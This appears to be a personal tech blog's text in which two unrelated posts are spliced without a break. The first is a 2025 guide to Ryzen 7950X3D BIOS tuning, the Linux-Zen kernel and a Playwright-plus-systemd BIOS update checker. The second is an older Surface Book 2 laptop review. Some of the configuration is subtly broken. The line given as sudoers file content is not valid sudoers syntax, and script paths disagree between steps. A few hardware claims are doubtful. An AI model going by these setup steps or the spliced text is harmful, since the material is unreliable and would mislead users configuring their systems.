  echo "  on     - Prepare GPU for VM (may require nvidia-unlock)"
  echo "  off    - Enable NVIDIA for host (headless mode)"
  echo "  status - Show current GPU status"
  exit 1
  ;;
esac

To run it it’s the same thing: nvidia-locker off will lift the vfio-pci block and load the Nvidia drivers when I want to run an AI LLM natively on my Linux or render something in Blender with Cycles.

After I’m done, and I want to run Windows in the VM. Ctrl-Alt-F3, fresh login on the plain text terminal, and nvidia-locker on. This will kill GDM, unload the NVIDIA drivers, reload the vfio-pci block and restart GDM so I can log back into graphical mode. And from there I can launch via the virsh start command or using the Virtual Machine Manager GUI if I want to use Display Spice, for example.

And that’s it, the article is more so I don’t forget what I did, to use as a reference in the future.

I know every motherboard ships pre-configured with safe and conservative “defaults”, the most stable rather than the most performant. So if you don’t go into the BIOS to tweak things, you’re leaving performance on the table.

I have an AMD Ryzen 9 7950X3D CPU. The processor is a package that works with two “dies”, I’m not sure if “chip” is a way to visualize it. Each one has 8 cores, totaling 16 cores, and each core has 2 threads, so 32 threads possible in parallel.

But there’s a difference: each die has different L3 caches. One of the dies has only 32MB and the other has 96MB, so heavier programs benefit from running on the cores of the die with more L3, and you can configure that.

Besides that, it has a base clock of about 3GHz with the ability to turbo boost up to 5.7GHz. They can’t all run at that speed or it heats up too fast and may “thermal throttle”, and then it drops everything below 3GHz. That’s why, especially in laptops that don’t have adequate thermal capacity, the best option is not overclocking but “undervolting” (cutting power so it runs less fast). Because it’s better for everyone to be a bit less fast than for everyone to be super fast and immediately overheat and slow everyone down. It’s complex.

To complicate things further, I have 96GB of DDR5 6000 RAM. Capable of a theoretical maximum of 6GHz, but that’s theoretical because everything can desync and cause instabilities up to a kernel panic crash. That’s why the motherboard default is the base speed of about 4GHz and the CPU also maxing out at around 4GHz.

But you can push that up a bit without making it unstable. In short, here’s what I did:

PBO - Precision Boost Overdrive

Ryzen CPUs have PBO to turbo boost the core clocks. It usually ships either disabled or in a conservative configuration, so your 5.7GHz CPU may be running at only 4GHz or less and never delivering its maximum.

To adjust this, if you want to get advanced, you need to tweak parameters like PPT (Package Power Tracking) to 200W or more. TDC (Thermal Design Current) to 160A or more. EDC (Electrical Design Current) to 200A or more. And you can set up a curve optimizer, per core, to negative (-10 or -20) to reduce voltage, which can allow higher boost clocks.

But this is very advanced, and you need to know a lot more about electrical stuff before trying it. Better not risk it and not mess with this. On the screen below, don’t leave it on Advanced, leave it on Auto:

Instead, it’s better to mess with PBO Enhancement Presets, which is this screen below:

70/80/90 refers to the maximum temperature we allow the cores to reach. This will depend on whether you have a good cooling solution. Whether it’s an AIO with liquid cooling or a Noctua NH-D15 G2, which is what I use. Noctua fans are extremely silent, I almost never hear them, and they have less maintenance and lower failure potential than liquid cooling. I prefer fewer moving parts to be safe.

[

Now those Level 1 to 5 are the PPT/TDC/EDC tunings I mentioned, but already pre-defined and tested by the manufacturer. 1 is less aggressive, the most stable, while 5 is the most aggressive and can be unstable. The right approach is to start at 90 level 5 and decrease until you find the most stable for your system. This will vary; for instance, the more RAM you have, the less aggressive it seems you can be, especially the faster that RAM is.

In my case, right at the boot of my Manjaro Linux, it gave a kernel panic, which looks something like this:

So I went back into the BIOS and tested different levels and, for my configuration, I could only get up to 90 Level 2. This has been stable and so far I haven’t had any random crashes.

Beyond that, recently (early 2025) motherboard manufacturers released firmware updates that opened access to a feature called X3D Turbo Mode. If you see this, don’t think it’s free extra performance. In reality, unless you use the machine more for games, you’ll actually feel it got slower.

As I explained before, Ryzen 9 has 1 CCD (core complex), which is the die with 96MB of L3 cache (V-Cache). Turbo mode tries to force more programs onto the CCD that does NOT have V-Cache (the 32MB one), which can therefore reach a higher clock boost but has more latency. This is good for games, which usually don’t benefit from having more cache but rather from more clock.

But at the same time, programs that need V-Cache will end up landing more often on the Core with LESS L3 cache and will then perform worse than before. Examples of that are 3D modeling programs like Blender, exactly what I want to use more now. So test it, but in principle you can leave it off.

This option in my firmware is called “X3D Turbo Mode” but elsewhere it may be “3D V-Cache Performance Optimizer”, same thing.

XMP/EXPO RAM

Now, DDR5 RAM boots at the base clock of about 4.8GHz. But depending on the RAM model, it can go much higher, in my case up to 6GHz. All modern memory also has several settings like frequency, latency, voltage, and more. Again, it’s not worth trying to set these by hand. Better to use predefined profiles. Intel calls this support XMP and AMD calls it EXPO.

I forgot to take a photo of my BIOS, but this slightly older photo from Google Images is the same thing. XMP/EXPO ships disabled (conservative) but you just pick the profile that already exists:

Note that just below there are things like Low Latency Support and High Bandwidth Support. Theoretically to reduce latency and increase transfer bandwidth. All of which sounds great, but in my case it doesn’t work. If I try to enable both, my system doesn’t boot. I was forced to clear the CMOS to reset the BIOS without that.

The problem: possibly too much memory (96GB). Maybe if you have less, around 32GB, this works, but it seems the more you have, the more unstable it gets if you try to go too fast.

Another problem, on DDR5, the more memory, the slower the Cold Boot, the initial boot when the PC was off. The BIOS has to do a check on the memory to ensure those parameters, response time and so on. And this happens on EVERY boot. It can take a few minutes and some people might even think the machine is frozen, but it’s just that check.

In the BIOS there’s an option called Memory Context Restore where it uses the parameters it recorded the last time it did that check. But I don’t recommend it; for me it doesn’t even boot anymore after enabling it. Theoretically it would cut down the check time and reuse old data, but that data may not match (the values can fluctuate) and that makes the whole system unstable. Better to wait an extra minute on boot than to live with an unstable system.

In advanced memory settings there’s one more thing we should change: DF C-States, which needs to be DISABLED. In theory this feature is to reduce the latency between CPU and memory. But on systems with a lot of RAM (96GB or more like mine) this can also cause instability for not much noticeable gain. I prefer staying stable in this case.

Another setting to change is Power Supply Idle Control, which has to be set to “Typical Current Idle”, and so far (a firmware fix update may come), it’s mandatory for Ryzen processors (even AM5). This prevents the “Deep Power State” sleep state, which can cause random kernel panics.

Same thing for Global C-State Control, which also needs to be disabled for the same reason: avoid “deep sleep states” (C6/C10) when the CPU sits in “idle” (doing nothing) for too long. These features exist to save energy, but it seems AMD has bugs when the CPU is forced into that state and when it wakes up, it comes back unstable or crashing. So it’ll consume more energy when doing nothing (around less than 20W, rather than near zero), but at least it won’t be unstable. If you want to save energy, the better option is to shut down and actually cut the power when not using it.

BIOS Summary (for me)

• PBO Enhancement: 90 Level 2 (clock boost slightly more aggressive than the default)
• Power Supply Idle Control: Typical Current Idle (prevents the idle crash bug)
• Global C-State Control: Disabled (avoids deep sleep, which causes instability)
• DF C-States: Disabled (also avoids sleep, improving Infinity Fabric latency)
• XMP/EXPO: Profile XMP1 if you have it (raises the memory clock)

There are 2 important things, especially if you’re using discrete GPUs:

• Above 4G Decoding and Re-Size Bar Support. In my case both are on by default; if yours are off, turn them on.

On Linux, you can check if it’s enabled. Run the following:

sudo lspci -vv | grep -A 15 VGA

You should see “Resizable BAR” like this:

Capabilities: [XX] PCI Express, ... Resizable BAR: Supported (Enabled)

If it doesn’t show up, go to the BIOS and look for it to enable. Without this you’re not using the maximum of your video card. I think on iGPUs (which are GPUs already built into the CPU) this option doesn’t exist.

Linux-Zen Kernel

I’ve always used the most stable LTS default kernel, currently Linux66, if I’m not mistaken. But I remembered I can use the Zen kernel, which is the same default kernel Arch uses with performance tunings to improve latency, especially in multi-thread. It switches to the CFS scheduler with improvements. Theoretically, it improves overall system responsiveness. I think it’s worth using. On Arch/Manjaro it’s like this:

yay -S linux-zen-versioned-bin linux-zen-versioned-headers-bin

This will uninstall the old kernel and, if you’re using NVIDIA GPUs, it’ll also uninstall the driver package. So you also need to install the following package:

yay -S nvidia-dkms

And then, with everything installed, run the following command:

sudo dkms autoinstall

This will reinstall the nvidia driver binaries for the new Zen kernel. In Manjaro’s case, you don’t need to mess with GRUB because in my case it’s set to GRUB_DEFAULT=saved in /etc/default/grub. That means when it reboots, it’ll record which kernel I last chose, and on the next reboot, if I don’t choose anything, it’ll load again the last kernel I picked. I prefer it this way over hard-coding which kernel is the default.

Once that’s done, on the next boot just check:

❯ uname -r
6.14.2-zen1-1-zen

Another thing is to check if CPPC is active. That’s Collaborative Processor Performance Control, a feature that exposes to the OS kernel a ranking of cores (which has the highest boost, which has more cache, etc). Remember the X3D Turbo Mode I mentioned earlier? Same concept: to help the OS pick which core to send each program to so it runs better.

Not every motherboard firmware exposes this as an option; in the case of my Gigabyte X670E, it doesn’t exist. That probably means it’s already on by default. To check if it’s on, just go to the Linux terminal and run:

cat /sys/devices/system/cpu/cpu*/cpufreq/amd_pstate_highest_perf

If it returns any result, it means it’s on and the firmware is informing the kernel about the characteristics of each core, so the scheduler has more information to manage where to send each thread.

Another way to check:

ls /sys/devices/system/cpu/cpu0/cpufreq/

It needs to return a list containing names like these:

amd_pstate_highest_perf
amd_pstate_nominal_perf
amd_pstate_preferred_core

Which, again, is a sign that Linux is recognizing CPPC properly.

Manjaro itself, besides the stable kernels, has the “linux-rt” versions which are for real-time systems. Technically, this is meant not just for lower latency, but for stable and more predictable latencies. DO NOT USE THIS KIND OF KERNEL. This is for factory systems or things like that which need processing determinism and have no tolerance for random latency. It doesn’t mean it’ll run more responsively; it might even run slower, but the important thing is that it’s a predictable slow.

Others might mention the Linux Liquorix kernel, which many compare to Zen. But while Zen is based on the same kernel Arch uses, Liquorix’s is based on the Debian/Ubuntu version. So it’s not recommended on Arch/Manjaro. On top of that it’s more experimental and theoretically less stable too. Use it if you’re on Ubuntu or derivatives. On Arch, better stick with Zen.

check_ryzen_perf.sh

If you have a Ryzen system, copy the following script and run it on your machine:

#!/bin/bash

echo "🔍 Verifying Ryzen 7950X3D Tuning on Linux"

echo -n "✅ CPU Driver: "
grep . /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver

echo -n "✅ EPP Mode: "
cat /sys/devices/system/cpu/cpu0/cpufreq/energy_performance_preference

echo -n "✅ CPPC Detected: "
if [ -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_highest_perf ]; then
  echo "Yes"
else
  echo "No"
fi

echo -n "✅ Preferred Core Ranking: "
if [ -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_prefcore_ranking ]; then
  echo "Yes"
else
  echo "No"
fi

echo -n "✅ Running Kernel: "
uname -r

echo -e "\n✅ All key Linux-side Ryzen tuning options appear active.\n"

On my machine it now produces this result:

🔍 Verifying Ryzen 7950X3D Tuning on Linux
✅ CPU Driver: amd-pstate-epp
✅ EPP Mode: performance
✅ CPPC Detected: Yes
✅ Preferred Core Ranking: Yes
✅ Running Kernel: 6.14.2-zen1-1-zen

✅ All key Linux-side Ryzen tuning options appear active.

Saying that, theoretically, all the performance bits seem to be active and working. If one of them isn’t, ask ChatGPT what to do for your setup.

Checking the BIOS Version

Many motherboard manufacturers offer software, for Windows, to automatically download and update the firmware. But in Gigabyte’s case, there’s no Linux support. To check which version is currently installed, without having to enter the BIOS, on Linux there’s this command:

sudo dmidecode -s bios-version

In my case, it now returns F33 (March 2025 version). Now, to compare whether that’s the newest version, I just have to manually go to Gigabyte’s crappy site, which in my case is this link. For your specific model, and manufacturer of course, this link will vary.

To make it worse, it seems the content is loaded asynchronously by javascript, so if you try to use wget or curl from the command line, the content won’t have loaded yet.

I decided to write a dumb script to solve that. First, in case you don’t use mise like I do (see my Github project Omakub-MJ for a setup just like mine), install Node manually like this:

sudo pacman -S nodejs npm

Create some directory for the project and from there do:

npm init -y
npm install -g playwright
npx playwright install

Create a file check_bios_playwright.js with this content:

const { chromium } = require('playwright');

(async () => {
  const browser = await chromium.launch({ headless: true });
  const page = await browser.newPage();

  // Load support page
  await page.goto('https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support', { waitUntil: 'domcontentloaded' });

  // Click the BIOS tab manually (it triggers JS to fetch content)
  await page.click('id=bios-count');

  // Wait for BIOS version element to load
  await page.waitForSelector('.div-table-body-BIOS .download-version', { timeout: 60000 });

  // Grab the first BIOS version listed
  const biosVersion = await page.$eval('.div-table-body-BIOS .download-version', el => el.innerText.trim());

  console.log('🌐 Latest BIOS Version on Gigabyte site:', biosVersion);

  await browser.close();
})();

Now create a bash script check_bios_update.sh with this content:

#!/bin/bash

# Get directory of this script (absolute path)
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# Get current BIOS version
CURRENT=$(sudo dmidecode -s bios-version | tr -d '[:space:]' | tr '[:lower:]' '[:upper:]')

# Run the Playwright JS script in the same directory
LATEST=$(node "$SCRIPT_DIR/check_bios_playwright.js" | grep -o 'F[0-9]\+')

# Output
echo "🖥  Current BIOS: $CURRENT"
echo "🌐 Latest BIOS:  $LATEST"

if [[ "$CURRENT" == "$LATEST" ]]; then
  echo "✅ You are up to date."
else
  echo "⬆  BIOS update available!"
fi

Do a chmod +x to make it executable and, if all goes well, you’ll get a response like this:

[sudo] password for akitaonrails:
🖥  Current BIOS: F33
🌐 Latest BIOS:  F33
✅ You are up to date.

It’s a cannon shot to kill a fly, but this will use headless Chromium to pull the page, load the javascript, and then use CSS selectors to find the BIOS version, compare it to the one on your machine, and see if it’s up to date.

If it isn’t, there’s no way around it: you have to manually go to the site, download the ZIP file, extract it onto a pen drive, and boot into the BIOS to update manually. But at least I can quickly check from time to time with one command line now.

Automatic BIOS Version Check

I decided I don’t want to remember to run that script manually, so the best thing is to create a user systemd service and check automatically every week. If there’s a new version, create a notification to GNOME so I can see it visually and automatically open the download page for me.

First, I need to give my user access to the dmidecode command to check my current BIOS version without having to type a password with sudo. To do that, let’s create a new sudoers rule like this:

sudo visudo -f /etc/sudoers.d/bios-check

It’ll open an empty file where I fill in like this:

sudo /usr/sbin/dmidecode -s bios-version

And don’t forget to set the correct permissions on this file:

sudo chmod 0440 /etc/sudoers.d/bios-check

With that it won’t ask for a password to run that command anymore, since we’re going to put it in a background service running automatically. Obviously it’s not safe to allow running sudo without a password, so we restrict it exclusively to allow it only on that specific binary and nothing else.

In the same directory as the other files with playwright installed and so on, I create a bios-update-check.sh with this content:

#!/bin/bash

# Path to your Playwright BIOS scraper script
JS_CHECKER="$HOME/bios-check/check_bios_playwright.js"
NODE_BIN="$(which node)"

# URL of your motherboard's BIOS support page
URL="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support#support-dl-bios"

# Get current BIOS version
CURRENT=$(sudo dmidecode -s bios-version | tr -d '[:space:]' | tr '[:lower:]' '[:upper:]')

# Get latest BIOS version from Gigabyte site
LATEST=$($NODE_BIN "$JS_CHECKER" | grep -o 'F[0-9]\+' | head -1)

if [[ -z "$LATEST" ]]; then
  notify-send "BIOS Check" "⚠️ Failed to fetch latest BIOS version from Gigabyte"
  exit 1
fi

if [[ "$CURRENT" != "$LATEST" ]]; then
  notify-send -u normal "🔔 BIOS Update Available!" "Current: $CURRENT → Latest: $LATEST

Opening the download page..." --app-name="BIOS Checker"
  xdg-open "$URL"
fi

It’s the same as the previous script but now using notify-send to send messages to Gnome (in KDE it’s different) and using xdg-open to open the URL in the system’s default browser. Configure differently for your system. Don’t forget to make it executable and test:

chmod +x ~/.local/bin/bios-update-check.sh

Now to create the systemd service for my user (different from creating one for the system that runs with more permissions. I only need this running at my user level), so I create the file ~/.config/systemd/user/bios-check.service with the following content:

[Unit]
Description=Weekly BIOS version checker

[Service]
Type=oneshot
ExecStart=/home/akitaonrails/.local/bin/bios-check/bios-update-check.sh

Now the timer service to run every week, called ~/.config/systemd/user/bios-check.timer:

[Unit]
Description=Run BIOS version check weekly

[Timer]
OnCalendar=weekly
Persistent=true

[Install]
WantedBy=default.target

And enable the timer:

systemctl --user daemon-reexec
systemctl --user daemon-reload
systemctl --user enable --now bios-check.timer

By Systemd convention, a timer [blabla].timer will execute the service with the same name [blabla].service. That’s why you need both. If you enable the service directly, it’ll run only once and exit. To know if it’s enabled correctly do the following:

✦ ❯ systemctl --user list-timers

NEXT                          LEFT LAST PASSED UNIT             ACTIVATES
Mon 2025-04-21 00:00:00 -03 2 days -         - bios-check.timer bios-check.service

1 timers listed.
Pass --all to see loaded but inactive timers, too.

And that’s how you can automate some things on your system and get more out of your Gnome.

Conclusion

I only started this journey this time because it occurred to me that it had been months since I’d last updated the motherboard firmware, and then I took the chance to tune some things I hadn’t done before. Things like PBO were on automatic (so I was leaving performance behind; I remember that last time it had been unstable but I didn’t dig in to find out why), things like XMP/EXPO were already on. But now I think I really enabled everything I could.

It had also been years since I tried out the Linux-Zen kernel, so I took the chance to test it now. And as I said, so far it’s stable. Since I’ve started learning Blender and pulling more CPU and memory, I figured it was worth spending time trying to extract the most from my machine. 3D modeling is totally CPU/RAM, more than GPU.

Oh yes, speaking of Blender, one last thing. Remember my Ryzen has 1 CCD, which is that 1 die with 96MB of L3 cache. The best thing to do is create affinity for Blender with that die and prevent it from landing on the core with only 32MB of L3 cache.

On Linux, to do that, here’s the command line:

taskset -c 0-15 blender-4.3 &

The taskset command will hint to the scheduler that blender should stay on threads 0 to 15 (where the V-Cache is) and not 16 to 31 (which only have 32MB). That way, in theory, I’m giving Blender the best chances to run at the best possible performance on this machine. Less important programs like the browser, the terminal, if they land on the 32MB core, no problem.

I do the same thing in libvirt/qemu when I run emulated Windows: I configure libvirt to bring up the VM tied to the 96MB CCD and leave the other core for the Linux host. Speaking of BIOS, by the way, to run VMs you have to enable SVM and IOMMU, which usually ship disabled because virtual machine support steals a bit of the CPU’s performance. Maximum performance is with them disabled. If you’re not going to use VMs, leave them off.

And if anyone noticed that I’m explicitly running Blender 4.3 instead of the newer Blender 4.4, it’s because some addons still don’t work on the newer version, so it’s better to stay one version back to keep more compatibility with addons that don’t update fast.

If you’re hasty, here’s what you need to know:

• Windows 10 is still Windows, but it’s nowhere near the nightmare of the 2000s. It rightfully deserves a new chance.
• OS X is on its way to becoming no more than an XCode runtime. Rumor says that Apple doesn’t even have a dedicated team for the desktop OS anymore. They are entirely focused on iOS and to make the iPad the desktop replacement.
• Linux is great, if you’re a full-time web developer, you can comfortably run something like Ubuntu or Manjaro/Arch (my personal recommendation).

Best cost-benefit: the Dell XPS 13. The Surface Book 2 is totally worth it if you’re a nerd like me. But as always, there are caveats to discuss.

The Specs

I will definitely not duplicate every hardware review you can find out there. They are all true. As iFixIt says: it’s the worst score in repairability. Like a Macbook, the Surface line-up is a statement. It’s the best combination of design and functionality. But the trade-off is that it has zero expandability and you should really take care not to break it. If it breaks, make sure you have a warranty and ask for a replacement.

In terms of specs, it is close to other top-of-the-line notebooks.

The top of the line Surface Book 2 costs USD 3,299 and comes with 1 TB SSD, 16GB RAM, GTX 1060 w/ 6 GB GDDR5, Intel Core i7 8th Gen Kaby Lake R, 4K display. It is super expensive, but you can easily justify it. More on that below.

The top of the line Dell XPS 15" Touch costs USD 2,459 and comes with 1 TB SSD, 32GB RAM, GTX 1050 w/ 4 GB GDDR5, Intel Core i7 7th Gen Kaby Lake, 4K display. The design of the XPS is top notch for at least 3 generations now. To me, this is the best cost-benefit.

The top of the line Razer Blade costs USD 2,599 and comes with 1 TB SSD, 16 GB RAM, GTX 1060 w/ 6 GB, Intel Core i7 7th Gen, 4K display. It’s arguably the best industrial design of this bunch, with Razer’s impeccable attention to detail. But it’s also arguably the one with least available support and more construction problems reported, so be careful to buy it overseas.

The top of the line HP Spectre x360 costs USD 1,499 and comes with 512 GB SSD, GeForce MX150 w/ 2GB GDDR5, Intel Core i7 8th Gen, 4K display. The design is awesome, super thin convertible. The specs are not so great, but it’s the cheapest of the premium notebooks, so there’s that.

The top of the line Lenovo Yoga 920 14" Vibe costs USD 1,899 but it only comes with Intel Integrated Graphics (no secondary GPU), 1 TB SSD, 16 GB RAM, Intel Core i7 8th Gen, 4K display, and comes with the Pen. The design, again, is great with an almost 360-degree hinge so you can flip your screen around and use it as a tablet. A very good 2-in-1.

Now, the top of the line MacBook Pro 15" costs USD 3,399 and comes with 1 TB SSD, Radeon Pro 560 w/ 4GB, Intel Core i7 7th Gen, UHD Display, and the infamous touch bar (50% chance of liking it). And that’s it. The industrial design and construction are still top-notch, but the others are nearly as good nowadays.

If you use graphics-intensive applications, the Radeon Pro 560 is good, but the GTX 1060 is superior. Apple’s UHD IPS (LCD) displays have a maximum resolution of 2560x1600. All premium notebooks nowadays come with full 4K (LED) displays with a maximum resolution of 3840x2160. It is noticeable. If you’ve never seen a modern 4K display, the MacBook displays will look good enough. And that’s without mentioning that they are all touchscreens with 4,096 points of sensitivity. What was once just a gimmick nowadays compares with the best Wacom has to offer. The Surface line-up comes close to the top of the line Wacom Cintiq and the new iPad Pro. They are in the same league.

There are 2 aspects of the Surface Book 2 that are lacking, unfortunately. First is the absence of a proper Thunderbolt 3 port. Without it, you can’t connect to modern external storage or external GPUs. The second is the weak power supply. Reports say that in highly demanding games (a.k.a. Destiny 2 not properly configured), the system will throttle down and drain all the battery faster than it can charge from the wall. The Verge broke this story and Microsoft is yet to unveil a solution if any. So, if gaming is your top priority buy a Razer or any of the gaming specific laptops such as an Alienware. The battery issue is not as dramatic as some have previously reported, though.

In terms of construction. Macs are usually all built with the same aluminum unibody construction. The Book 2 uses Magnesium instead. It makes for a very solid construction but also very lightweight. By the way, after so many years, everybody mastered aluminum. And they are moving in other directions, for example, Dell uses carbon fiber on the palm rests, which I find much more comfortable. Magnesium is also not as freezing cold as aluminum, again, more comfortable. I like that they are past just copying and really trying new and interesting materials.

Value Proposition

We established that the Surface Book 2 is very expensive, and it’s not even good enough for highly demanding games such as Destiny 2.

Where it really shines is the fact that it’s not a convertible 2-in-1 such as the Spectre or Yoga. You already know that it can detach the screen from the base.

The crown achievement of the Surface team is the dynamic fulcrum hinge. It’s a marvel of engineering. When it’s attached, it doesn’t wobble nearly as much as one would expect. It’s very solid, you can pick up the entire unit from the screen without worrying that the base might fall down or break.

When I first heard about it 2 years ago, I thought it was cool but that it could break over time, so I waited. I am all in now because 2 years later you don’t see a “hinge-gate” or massive reports of the hinge falling apart, so you know it’s solid. And 2 years later, no other manufacturer has it, and if you don’t see a cheap knockoff from China, you can tell that this is a very difficult thing to build. Microsoft really nailed this part.

By having a detachable screen you also know that the main components are all behind the screen. The CPU, the GPU, the RAM, the SSD. So you have a top-of-the-line Intel i7 in a tablet! The battery is understandably small (no more than 3 hours) to drive a 15" 4K display with touch capabilities and enough precision to rival the iPad Pro and the Wacom Cintiq or Mobile Studio.

Now, what most people don’t report is that because of this, the screen housing is the one that gets warm. The performance base remains cool! So it’s super comfortable to have it on your lap for many hours without the risk of getting sterile or getting boiled eggs in the process.

It has enough power to drive 1 external 4K display at 60hz or two 4K displays at 30hz. The MacBook Pro, with its custom port, can drive a 5K display. Something most notebooks still can’t. So there’s that.

I am not a designer by trade, but I am a hobbyist. And after many years working hard, I do believe that I can afford something like this. And don’t get me wrong, the Surface Pro is another great option for a designer. The top-of-the-line Surface Pro has everything the Book 2 has, without the GTX 1060 but costing USD 600 less at USD 2,699. I think it’s a more suitable product for most people interested in having an easy to carry sketch solution around.

Creative Professionals are the ones that fully need to be careful about specs. But for the majority of non-demanding professionals, they can pay a lot cheaper. They don’t need extra GPU horsepower, or the i7 (an i5 is more than adequate), 8 GB of RAM is enough, even 256 GB of SSD is ok because everything is in the so-called “Cloud” these days. This is the USD 999 Dell XPS 13. Or the only comparable option from Apple is the USD 1,299 with a ridiculous Intel m3 processor. For most professionals, the cheaper Dell XPS 13 is a much better value proposition than the Macbook.

For demanding professionals, the Dell XPS 15 is the best value for the buck. The Surface Book 2 is the best premium one for those that favor the touch screen more than workflow. Meaning: designers, go with the Book 2, video editors or 3D modelers, go with the Dell XPS.

Oh, and one last thing about price. The MacBook Pro 15" costs USD 3,399 and the Book 2 costs USD 3,299. But if you want a tablet, you still need to add an extra USD 949 for a 12" iPad Pro with Wi-Fi and 256 GB of storage. And you will end up having to carry around a heavier backpack.

Why not install Linux?

You don’t buy a Surface product unless you’re interested in the Surface Pen experience and ecosystem. I think this is obvious, otherwise, you’re better off buying a Dell XPS or any other cheaper notebook.

It’s also obvious why it makes no sense to ask “Why don’t you ditch Windows and install Linux on it?”. Because no Linux distro has Pen support, whatsoever. The performance base also has a physical key that you need to press in order for the hinge to release the display.

You want to have Adobe Photoshop, or Autodesk Sketchbook, or Sketchable, or any other great software package out there. Again, I don’t want to repeat every other review available out there showing how great the pen is. I will just confirm that, yes, the pen is super great, precise, accurate, and flows very naturally. It’s an entire studio in a box.

Software developers by trade should stay away from this kind of product because most Linux distros won’t have the proper drivers to hook up to so much exclusive hardware solutions. For those situations I highly recommend the Dell XPS 13, specifically the USD 1,759 configuration with Windows 10 Pro (or you can save USD 60 and get it with the Home edition if you intend to install Linux on top of it), the great QHD+ (3200x1800) InfinityEdge touch display, 8th Gen Intel Core i7, 16 GB RAM, 512 GB SSD. This is, by far, the best value for the money for a full-time software developer.

OS X has a great community despite Apple not doing a lot to help them. Historically, the jump from the legacy MacOS to OS X meant having a UNIX-compatible kernel and toolchain available. To this day, it’s still not comparable to a modern Linux distro. But OS X makes it up to it by having, by far, the best Graphics Compositor around. The GUI is smooth, responsive.

The Darwin Mach kernel supports multiple policies, most important for Creative Professionals, mainly musicians, was the soft real-time capabilities of the scheduler. To this day, Linux Real Time is not the default option, and it’s not as well tuned or stable. And the Windows kernel evolved, but again, still not nearly as polished.

Soft Real-Time avoids the stuttering effect we see. And is one factor of why the Mac experience is, overall, superior even on less powerful hardware.

In particular, everybody around the Homebrew community deserves high praise for their efforts of keeping up in bringing open source tools to OS X, despite every new Xcode update and OS X upgrade, breaking them.

My Environment

After a lot of experimentation, I decided to settle on having a native Windows 10 to drive the host and having a full-blown Linux distro (Manjaro GNOME) on a Virtualbox environment where I give 4 of the 8 cores (2 physical cores, each with 2 hyperthreads) and half the memory (8 GB).

Why not use the brand new Windows Subsystem for Linux (WSL) instead?

Because although it’s great and all, we will need to wait until they figure out the rough edges. Particularly a better GUI support and faster I/O abstraction. What hurts the most is how painfully slow the filesystem layer is right now. It’s an order of magnitude slower than using Linux on Virtualbox.

I could use a Vagrant-like hybrid solution, having a headless Linux distro on Virtualbox and accessing a file through CIFS/NFS. And that should be fine if you like editors like Sublime Text 3, Visual Studio Code or Atom. But I am a Vim guy, and I like GVIM, which works best within GNOME, within a proper GUI-enabled Linux distro.

“Why not use Docker? It’s supposed to be super-fast and all.”

It surprises me when people ask that because it demonstrates how little they know about the tools they recommend.

Docker only really makes sense on a proper Linux distro. On Windows, it will have to run Linux on Virtualbox or Hyper-V. On Mac, it will use the Hypervisor framework, which - like Microsoft’s Hyper-V - is a virtualization layer. It’s just like Virtualbox, for all intents and purposes.

Docker, like LXC, is just making a process “believe” it’s running alone on the OS by hiding the other processes from it. So, on Linux, it’s super fast. On any other platform, they have to virtualize Linux proper and then run Docker there.

The Docker client is actually communicating with a virtualized Linux on Windows or Mac. You’ve been fooled if you believed it’s faster than Virtualbox or Hyper-V in any meaningful way. There is no magic here.

“Why not just dual-booting then?”

Again, this doesn’t help my scenario. I want a full GNOME GUI environment. And I don’t want to keep Outlook on Windows and Thunderbird or Evolution on Linux for example, and managing different accounts on all sorts of different applications (and yes, I highly prefer native binaries instead of web apps, I am old-school like that). I don’t want to reboot when I want to use Photoshop and reboot back to Linux to run Vim.

I want to have software from both platforms available to me at the same time. I don’t believe in dual-boot scenarios unless the usages are completely separated. For example, using a Linux distro all day, and at night rebooting into Windows to run Steam and play some games.

Yes, Virtualbox will have a less responsive UI thanks to a virtualized Graphics pipeline. But for software development, it works just fine. I even see people doing gimmicky things such as having a full development environment in an AWS EC2 instance and SSH’ing there to use Vim with Tmux, for example. That is far more convoluted if you ask me. I wouldn’t go that far.

All top-of-the-line hardware I listed above has enough Cores and enough RAM so I can afford running 2 OSes at the same time. Don’t do that on budget hardware.

And if you don’t need to carry around a notebook, for the same amount of money you can buy a far superior desktop computer.

“But you have all native on OS X, because it’s UNIX and all”

Yes, but I really distrust Apple’s OS X big upgrades. They always, always screw up something. After I had my fair share of lost work days after upgrades, I moved my development environment to Vagrant at least 5 years ago. So I was using Linux in Virtualbox (or VMWare) all along. I never looked back. I was always reading people complaining after the big upgrades and there I was, unharmed and productive. Virtualbox was way worse back then, it’s not so much nowadays. I can’t remember the last time it crashed on me, if ever.

“Well, and why not Hyper-V instead of Virtualbox?”

I did try it. And I do not recommend it right now. It was built so Windows can run Linux boxes in servers. So it’s super good in partitioning the hardware resources between the different virtual instances. Unless you’re a sysadmin in training or in need of a simulated server on your laptop, this is not for you.

It has very poor support for graphics (headless servers don’t need graphics). The maximum resolution in the virtual monitor is a ridiculous 1152x864. My Virtualbox supports my LG Ultrawide 2560x1080 monitor just fine. Hyper-V can’t and this is a deal breaker.

Virtualbox, VMWare, Parallels, Hyper-V will all use the same VT-X instructions provided by Intel. The base performance will not be so different. Guest tools might differ. Some stability might differ. But all in all, they’re basically the same thing from the user’s usability standpoint.

I know, it sounds “weird” to run Windows 10 as the primary native host. But it does work generally fine right now.

And I also know that it sounds weirder to run a Linux distro as a secondary guest OS in Virtualbox. And again, let me tell you that when I am using it in full-screen mode, working, I don’t feel like it’s slow or unresponsive.

The Software

If you’re in OS X you are probably used to a lot of tools. You paid money for some of those. And switching to another OS is always a pain.

In summary, the only piece of software that I really missed, at first, was Keynote. But I went past my prejudice against PowerPoint and I have to say that it does everything I really need right now.

I always hated Pages and Numbers, they are very good for amateurs. But nothing, not even LibreOffice, and definitely not Google Docs can replace Office. Google Slides is terrible and Impress is beyond useless to me (and it’s super slow). Seriously, PowerPoint is now a much better tool.

Office in the Mac was always “enough”, luckily. But Office on Windows is far superior. No doubts in my mind, so one big benefit for me going back to Windows 10 is having the full Office experience.

If you use the Pro line of tools, you will miss Final Cut Pro. If you’re a professional musician, you will miss Logic Pro. There is nothing like Garageband if you’re a hobbyist musician. There is nothing we can do here. And even though we have better hardware on PC, Apple custom tweaks Final Cut to perform exceedingly better on AMD Radeon Pro. So Final Cut export times are still superior to Adobe Premiere’s. Motion 5 is still easier and more responsive than After Effects.

